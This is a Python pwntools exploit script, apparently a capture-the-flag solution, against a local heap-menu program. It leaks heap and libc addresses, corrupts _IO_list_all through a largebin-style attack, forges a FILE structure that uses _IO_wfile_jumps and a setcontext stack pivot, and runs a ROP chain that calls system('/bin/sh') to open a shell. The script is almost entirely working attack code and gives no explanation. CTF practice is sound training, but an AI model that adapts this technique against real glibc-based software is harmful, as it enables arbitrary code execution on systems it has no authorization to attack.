1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156
| from pwn import * import re import os, struct, random, time, sys, signal import hashlib from hashlib import sha256
p = process("./pwn") elf = ELF("./pwn") libc = elf.libc
context.log_level = "debug" context.arch = elf.arch context.terminal = ['tmux', 'splitw', '-hp','55']
def g(breakpoint = ''): gdbbreakpt = 'b *{}'.format(hex(breakpoint)) gdb.attach(p,gdbbreakpt) def gg(breakpoint = ''): gdbbreakpt = 'b *$rebase({})'.format(hex(breakpoint)) gdb.attach(p,gdbbreakpt) def info(name, base): print('\033[44m'+str(name)+"----->"+hex(base)+'\033[0m')
s = lambda data :p.send(str(data)) sa = lambda text,data :p.sendafter(text, str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda text,data :p.sendlineafter(text, str(data)) r = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) ia = lambda :p.interactive() hs256 = lambda data :sha256(str(data).encode()).hexdigest() l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00")) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) uu32 = lambda :u32(p.recv(4).ljust(4,'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,'\x00')) int16 = lambda data :int(data,16) lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
def menu(ch): p.sendlineafter(b">> \n",str(ch).encode())
def add(size,content=b"/bin/sh\x00"): menu(1) p.sendlineafter(b"size\n",str(size).encode()) if len(content)<size: content+=b"\n" p.sendafter(b"name\n",content)
def edit(idx,size,content): menu(2) p.sendlineafter(b"index\n",str(idx).encode()) p.sendlineafter(b"size\n",str(size).encode()) p.sendlineafter(b"name\n",content)
def show(idx,): menu(3) p.sendlineafter(b"index\n",str(idx).encode())
def delete(idx): menu(4) p.sendlineafter(b"index\n",str(idx).encode())
ru(b'0x') heap_base = int(r(12),16) - 0x2a0 print(hex(heap_base))
for i in range(4): add(0x428,b'123') add(0x4f8, b'456') add(0x408, b'456') edit(3,0x428,b"a"*0x420+p64(0x10b0))
edit(0,0x428,flat([ 0,0x10b1, heap_base+0x2e0-0x20,heap_base+0x2e0-0x20, 0,0, ]))
delete(4) add(0x418, b'bcbcbcbc')
for i in range(3): add(0x428) add(0x4f8) delete(3) add(0x438)
show(8) libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x1ff0f0 print(hex(libc_base))
IO_list = libc_base + libc.sym["_IO_list_all"] pay1 = p64(0)*3 + p64(IO_list - 0x20) edit(8,0x20,pay1) delete(4) add(0x458)
iostru_base=heap_base+0x2c0 ropp=ROP(libc) leave_ret=ropp.find_gadget(["leave","ret"])[0] + libc_base rbp=ropp.find_gadget(["pop rbp","ret"])[0] + libc_base rsp=ropp.find_gadget(["pop rsp","ret"])[0] + libc_base print(hex(rbp)) fakeio=FileStructure() fakeio.vtable=libc.sym["_IO_wfile_jumps"] + libc_base fakeio._IO_write_base=0 fakeio._IO_write_ptr=1 fakeio.flags=u32(b" sh") fakeio._wide_data= heap_base+0x6f0 fakeio.chain=leave_ret fakeio._codecvt = iostru_base fakeio._lock=libc_base + 0x2008e0 fakeio=bytes(fakeio) edit(0,len((fakeio)),(fakeio))
rdi=ropp.find_gadget(["pop rdi","ret"])[0] + libc_base print(hex(rdi)) binsh=libc.search(b"/bin/sh").__next__() + libc_base print(hex(binsh)) system = libc_base + libc.sym['system'] print(hex(system))
rop_chain=flat({ 0x40:[rdi,binsh,system], 0x60:[system], 0xe0:[heap_base+0x6f0+0x60-0x68] },filler=b"\x00") edit(1,len(rop_chain),rop_chain)
stack_pivot=flat({ 8: heap_base+0, 0x20: libc.sym['setcontext'] + libc_base +61, 0xa0: heap_base+0x6f0+0x40, },filler=b"\x00")
print(hex(leave_ret)) gg(0) sa(">>", str(5))
p.interactive()
|